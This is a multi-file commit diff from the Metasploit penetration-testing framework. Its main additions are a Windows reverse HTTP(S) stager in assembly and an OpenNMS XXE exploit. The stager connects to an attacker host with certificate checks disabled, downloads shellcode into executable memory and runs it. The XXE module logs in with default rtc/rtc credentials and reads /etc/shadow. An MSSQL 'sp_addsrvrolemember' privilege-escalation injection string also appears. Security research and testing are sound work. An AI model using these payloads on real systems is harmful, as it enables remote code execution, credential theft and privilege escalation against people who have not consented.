push.i8 4 ; sizeof(dwFlags)
push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
@ -264,7 +363,7 @@ module Payload::Windows::ReverseHttp
asm << %Q^
allocate_memory:
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is

View File

@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_https(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
ssl: true)
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@ -51,7 +52,13 @@ module Payload::Windows::ReverseHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_https(conf)

View File

@ -0,0 +1,396 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
require 'msf/core/payload/windows/reverse_http'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
#
###
module Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::ReverseHttp
#
# Register reverse_winhttp specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_winhttp(
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_winhttp(conf)
end
#
# Generate and compile the stager
#
def generate_reverse_winhttp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_winhttp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# The final estimated size
space
end
#
# Convert a string into a NULL-terminated wchar byte array
#
def asm_generate_wchar_array(str)
( str.to_s + "\x00" ).
unpack("C*").
pack("v*").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_winhttp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end
http_open_flags = 0
if opts[:ssl]
# ;0x00800000 ; WINHTTP_FLAG_SECURE
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
http_open_flags = (0x00800000 | 0x00000100)
else
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
http_open_flags = 0x00000100
end
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
^
if verify_ssl
asm << %Q^
load_crypt32:
push 0x00323374 ; Push the string 'crypt32',0
push 0x70797263 ; ...
push esp ; Push a pointer to the "crypt32" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wincrypt" )
^
end
asm << %Q^
xor ebx, ebx
WinHttpOpen:
push ebx ; Flags
push ebx ; ProxyBypass (NULL)
push ebx ; ProxyName (NULL)
push ebx ; AccessType (DEFAULT_PROXY= 0)
push ebx ; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL)
push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in edi for later
db #{encoded_url}
got_server_host:
push eax ; Session handle returned by WinHttpOpen
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL)
push ebx ; Referrer (NULL)
push ebx ; Version (NULL)
push edi ; ObjectName (URI)
push ebx ; Verb (GET method) (NULL)
push eax ; Connect handle returned by WinHttpConnect
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
^
if opts[:ssl]
asm << %Q^
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
set_security_options:
push 0x00003300
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
mov eax, esp
push 4 ; sizeof(buffer)
push eax ; &buffer
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
call ebp
^
end
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
WinHttpSendRequest:
push ebx ; Context [7]
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz check_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
# Jump target if the request was sent successfully
asm << %Q^
check_response:
^
# Verify the SSL certificate hash
if verify_ssl
asm << %Q^
ssl_cert_get_context:
push 4
mov ecx, esp ; Allocate &bufferLength
push 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
; ebx
ssl_cert_allocate_hash_space:
push 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
; edi points to the server-provided certificate hash
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
ssl_cert_verify_compare_loop:
mov eax, [ebx] ; Grab the next DWORD of the hash
cmp eax, [edi] ; Compare with the server hash
jnz failure ; Bail out if the DWORD doesn't match
add ebx, edx ; Increment internal hash pointer by 4
add edi, edx ; Increment server hash pointer by 4
loop ssl_cert_verify_compare_loop
; Our certificate hash was valid, hurray!
ssl_cert_verify_cleanup:
xor ebx, ebx ; Reset ebx back to zero
^
end
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
jz failure
^
asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
call ebp
test eax,eax ; if download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:
db #{encoded_host}
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -0,0 +1,120 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP
#
###
module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp
#
# Register reverse_winhttps specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
], self.class)
end
#
# Generate and compile the stager
#
def generate_reverse_winhttps(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_winhttp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate the first stage
#
def generate
verify_cert = false
verify_cert_hash = nil
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
return generate_reverse_winhttps(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end
conf = {
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
}
generate_reverse_winhttps(conf)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
space = super
# SSL support adds 20 bytes
space += 20
# SSL verification adds 120 bytes
if datastore['StagerVerifySSLCert']
space += 120
end
space
end
end
end

View File

@ -88,7 +88,7 @@ class PayloadSet < ModuleSet
# Cache the payload's size
begin
sizes[name] = p.new.size
sizes[name] = p.cached_size || p.new.size
# Don't cache generic payload sizes.
rescue NoCompatiblePayloadError
end

View File

@ -181,7 +181,8 @@ module Rex
data = ''
while data.length < size_wanted
data << @file_handler.read(size_wanted - data.length)
# Use a 4Mb block size to avoid target memory consumption
data << @file_handler.read([size_wanted - data.length, 2**22].min)
end
attribut << data
end
@ -196,8 +197,11 @@ module Rex
#
# return the attribute list from the MFT record
# deal with resident and non resident attributes (but not $DATA due to performance issue)
# if lazy = True, this function only gather essential non resident attributes
# (INDEX_ALLOCATION). Non resident attributes can still be gathered later with
# cluster_from_attribute_non_resident function.
#
def mft_record_attribute(mft_record)
def mft_record_attribute(mft_record, lazy=true)
attribute_list_offset = mft_record[20, 2].unpack('C')[0]
curs = attribute_list_offset
attribute_identifier = mft_record[curs, 4].unpack('V')[0]
@ -213,10 +217,11 @@ module Rex
res[attribute_identifier] = mft_record[curs + content_offset, content_size]
else
# non resident
if attribute_identifier == DATA_ATTRIBUTE_ID
res[attribute_identifier] = mft_record[curs, attribute_size]
else
if attribute_identifier == INDEX_ALLOCATION_ID or
(!lazy and attribute_identifier != DATA_ATTRIBUTE_ID)
res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size])
else
res[attribute_identifier] = mft_record[curs, attribute_size]
end
end
if attribute_identifier == DATA_ATTRIBUTE_ID

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'openssl'
module Rex
module Parser
###
#
# This class parses the contents of a PEM-encoded X509 certificate file containing
# a private key, a public key, and any appended glue certificates.
#
###
class X509Certificate
#
# Parse a certificate in unified PEM format that contains a private key and
# one or more certificates. The first certificate is the primary, while any
# additional certificates are treated as intermediary certificates. This emulates
# the behavior of web servers like nginx.
#
# @param [String] ssl_cert
# @return [String, String, Array]
def self.parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end
#
# Parse a certificate in unified PEM format from a file
#
# @param [String] ssl_cert_file
# @return [String, String, Array]
def self.parse_pem_file(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
parse_pem(data)
end
end
end
end

View File

@ -118,13 +118,13 @@ module Rex
patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua]
patch_proxy!(blob,
options[:proxyhost],
options[:proxyport],
options[:proxy_host],
options[:proxy_port],
options[:proxy_type]
)
patch_proxy_auth!(blob,
options[:proxy_username],
options[:proxy_password],
options[:proxy_user],
options[:proxy_pass],
options[:proxy_type]
)

View File

@ -449,11 +449,11 @@ class ClientCore < Extension
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxyhost => client.exploit_datastore['PROXYHOST'],
:proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
:proxy_type => client.exploit_datastore['PayloadProxyType'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
end

View File

@ -2159,13 +2159,13 @@ class Def_kernel32
])
dll.add_function( 'InterlockedCompareExchange', 'DWORD',[
["PDWORD","Destination","inout"],
["PDWORD","Destination","in"],
["DWORD","ExChange","in"],
["DWORD","Comperand","in"],
])
dll.add_function( 'InterlockedCompareExchange64', 'LPVOID',[
["PBLOB","Destination","inout"],
["PBLOB","Destination","in"],
["PBLOB","ExChange","in"],
["PBLOB","Comperand","in"],
])
@ -2175,7 +2175,7 @@ class Def_kernel32
])
dll.add_function( 'InterlockedExchange', 'DWORD',[
["PDWORD","Target","inout"],
["PDWORD","Target","in"],
["DWORD","Value","in"],
])

View File

@ -380,13 +380,20 @@ class Registry
# Returns the integer value associated with the supplied registry value
# type (like REG_SZ).
#
# @see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724884(v=vs.85).aspx
# @param type [String] A Windows registry type constant name, e.g. 'REG_SZ'
# @return [Integer] one of the `REG_*` constants
def self.type2str(type)
return REG_SZ if (type == 'REG_SZ')
return REG_DWORD if (type == 'REG_DWORD')
return REG_BINARY if (type == 'REG_BINARY')
return REG_EXPAND_SZ if (type == 'REG_EXPAND_SZ')
return REG_NONE if (type == 'REG_NONE')
return nil
case type
when 'REG_BINARY' then REG_BINARY
when 'REG_DWORD' then REG_DWORD
when 'REG_EXPAND_SZ' then REG_EXPAND_SZ
when 'REG_MULTI_SZ' then REG_MULTI_SZ
when 'REG_NONE' then REG_NONE
when 'REG_SZ' then REG_SZ
else
nil
end
end
#

View File

@ -2,6 +2,7 @@
require 'rex/socket'
require 'rex/socket/tcp_server'
require 'rex/io/stream_server'
require 'rex/parser/x509_certificate'
###
#
@ -108,25 +109,7 @@ module Rex::Socket::SslTcpServer
# @param [String] ssl_cert
# @return [String, String, Array]
def self.ssl_parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
end
#

View File

@ -190,10 +190,10 @@ class Metasploit3 < Msf::Auxiliary
end
# Attempt to escalate privileges
def escalate_privs(imp_user,db_user)
def escalate_privs(db_user)
# Setup Query - Impersonate the first sysadmin user on the list
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"
# Execute Query
mssql_query(evil_sql)

View File

@ -11,7 +11,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection",
'Name' => "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection",
'Description' => %q{
This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet
Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot
@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary
[
[ 'CVE', '2015-0072' ],
[ 'OSVDB', '117876' ],
[ 'MSB', 'MS15-018' ],
[ 'URL', 'http://www.deusen.co.uk/items/insider3show.3362009741042107/'],
[ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Feb/10' ]

View File

@ -0,0 +1,104 @@
require 'msf/core'
require 'openssl'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNMS Authenticated XXE',
'Description' => %q{
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
Although this attack requires authentication, there are several factors that increase the
severity of this vulnerability.
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
ports or generate network traffic that requires root"
2. The user that you must authenticate as is the "rtc" user which has the default password of
"rtc". There is no mention of this user in the installation guides found here:
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
admin password of "admin" for security purposes.
},
'License' => MSF_LICENSE,
'Author' => [
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
],
'References' => [
['CVE', '2015-0975']
],
'DisclosureDate' => 'Jan 08 2015'
))
register_options(
[
Opt::RPORT(8980),
OptBool.new('SSL', [false, 'Use SSL', false]),
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
], self.class)
end
def run
print_status("Logging in to grab a valid session cookie")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Login'=> 'Login'
},
})
if res.nil?
fail_with(Failure::Unreachable, "No response from POST request")
elsif res.code != 302
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
end
unless res.headers["Location"].include? "index.jsp"
fail_with(Failure::NoAccess, 'Authentication failed')
end
cookie = res.get_cookies
print_status("Got cookie, going for the goods")
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
delimiter = SecureRandom.uuid
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE #{rand_doctype} [
<!ELEMENT #{rand_entity1} ANY >
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
'data' => xxe,
'cookie' => cookie
})
# extract filepath data from response
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
result = $1
print_good("#{result}")
else
fail_with(Failure::Unknown, 'Error fetching file, try another')
end
end
end

View File

@ -27,38 +27,165 @@ class Metasploit4 < Msf::Auxiliary
],
'References' => [
['CVE', '2014-9222'],
['URL', 'http://mis.fortunecook.ie']
['URL', 'http://mis.fortunecook.ie'],
['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
],
'DisclosureDate' => 'Dec 17 2014',
'License' => MSF_LICENSE
))
register_options([
OptString.new('TARGETURI', [true, 'Path to fingerprint RomPager from', '/Allegro'])
], self.class)
register_options(
[
OptString.new('TARGETURI', [true, 'URI to test', '/'])
], Exploit::Remote::HttpClient
)
register_advanced_options(
[
OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']),
OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^40[134]$'])
], self.class
)
end
def check_host(ip)
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET')
fp = http_fingerprint(response: res)
if /RomPager\/(?<version>[\d\.]+)$/ =~ fp
if Gem::Version.new(version) < Gem::Version.new('4.34')
report_vuln(
host: ip,
port: rport,
name: name,
refs: references
)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
def check_host(_ip)
begin
test_misfortune
ensure
disconnect
end
end
def run_host(ip)
print_good("#{peer} appears to be vulnerable") if check_host(ip) == Exploit::CheckCode::Appears
status = check_host(ip)
case status
when Exploit::CheckCode::Appears
when Exploit::CheckCode::Detected
when Exploit::CheckCode::Vulnerable
print_good("#{peer} #{status.last}")
else
vprint_status("#{peer} #{status.last}")
end
end
def setup
@status_codes_regex = Regexp.new(datastore['STATUS_CODES_REGEX'])
end
# Fingerprints the provided HTTP response and returns
# Exploit::CheckCode::Appears if it is a vulnerable version of RomPager,
# otherwise returns the provided fall-back status.
def check_response_fingerprint(res, fallback_status)
fp = http_fingerprint(response: res)
if /RomPager\/(?<version>[\d\.]+)/ =~ fp
vprint_status("#{peer} is RomPager #{version}")
if Gem::Version.new(version) < Gem::Version.new('4.34')
return Exploit::CheckCode::Appears
end
end
fallback_status
end
def find_canary
vprint_status("#{peer} locating suitable canary URI")
canaries = []
if datastore['CANARY_URI']
canaries << datastore['CANARY_URI']
else
# several random URIs in the hopes that one, generally the first, will be usable
0.upto(4) { canaries << '/' + Rex::Text.rand_text_alpha(16) }
end
canaries.each do |canary|
res = send_request_raw(
'uri' => normalize_uri(canary),
'method' => 'GET',
'headers' => headers
)
# in most cases, the canary URI will not exist and will return a 404, but
# if everything under TARGETURI is protected by auth, a 401 may be OK too.
# but, regardless, respect the configuration set for this module
return [canary, res.code] if res && res.code.to_s =~ @status_codes_regex
end
nil
end
def headers
{
'Referer' => full_uri
}
end
# To test for this vulnerability, we must first find a URI known to return
# a 404 (not found) which we will use as a canary. This URI (for example,
# /foo) is then taken and used as the value for a carefully crafted cookie
# when making a request to the configured host+port+uri. If the response
# is a 404 and the body includes the canary, it is likely that the cookie
# overwrote RomPager's concept of the requested URI, indicating that it is
# vulnerable.
def test_misfortune
# find a usable canary URI (one that returns an acceptable status code already)
if canary = find_canary
canary_value, canary_code = canary
vprint_status("#{peer} found canary URI #{canary_value} with code #{canary_code}")
else
vprint_error("#{peer} Unable to find a suitable canary URI")
return Exploit::CheckCode::Unknown
end
canary_cookie_name = 'C107373883'
canary_cookie = canary_cookie_name + "=#{canary_value};"
# Make a request containing a specific canary cookie name with the value set
# from the suitable canary value found above.
res = send_request_raw(
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'GET',
'headers' => headers.merge('Cookie' => canary_cookie)
)
unless res
vprint_error("#{full_uri} no response")
return Exploit::CheckCode::Unknown
end
unless res.code.to_s =~ @status_codes_regex
vprint_status("#{full_uri} unexpected HTTP code #{res.code} response")
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
end
unless res.body
vprint_status("#{full_uri} HTTP code #{res.code} had no body")
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
end
# If that canary *value* shows up in the *body*, then there are two possibilities:
#
# 1) If the canary cookie *name* is also in the *body*, it is likely that
# the endpoint is puppeting back our request to some extent and therefore
# it is expected that the canary cookie *value* would also be there.
# return Exploit::CheckCode::Detected
#
# 2) If the canary cookie *name* is *not* in the *body*, return
# Exploit::CheckCode::Vulnerable
if res.body.include?(canary_value)
if res.body.include?(canary_cookie_name)
vprint_status("#{full_uri} HTTP code #{res.code} response contained canary cookie name #{canary_cookie_name}")
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
else
vprint_good("#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI")
report_vuln(
host: rhost,
port: rport,
name: name,
refs: references
)
return Exploit::CheckCode::Vulnerable
end
end
vprint_status("#{full_uri} HTTP code #{res.code} response did not contain canary cookie value #{canary_value} as URI")
check_response_fingerprint(res, Exploit::CheckCode::Safe)
end
end

View File

@ -131,11 +131,8 @@ class Metasploit4 < Msf::Auxiliary
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
'updatequesChk' => 'false',
'SelectedQuestion' => 1,
'SelectedQuestion' => 2,
'answer' => answers.first,
'answer' => answers.last,
'confirmanswer' => answers.first,
'confirmanswer' => answers.last
}
)

View File

@ -0,0 +1,269 @@
##
# This module requires Metasploit: http://metasploit.com/download
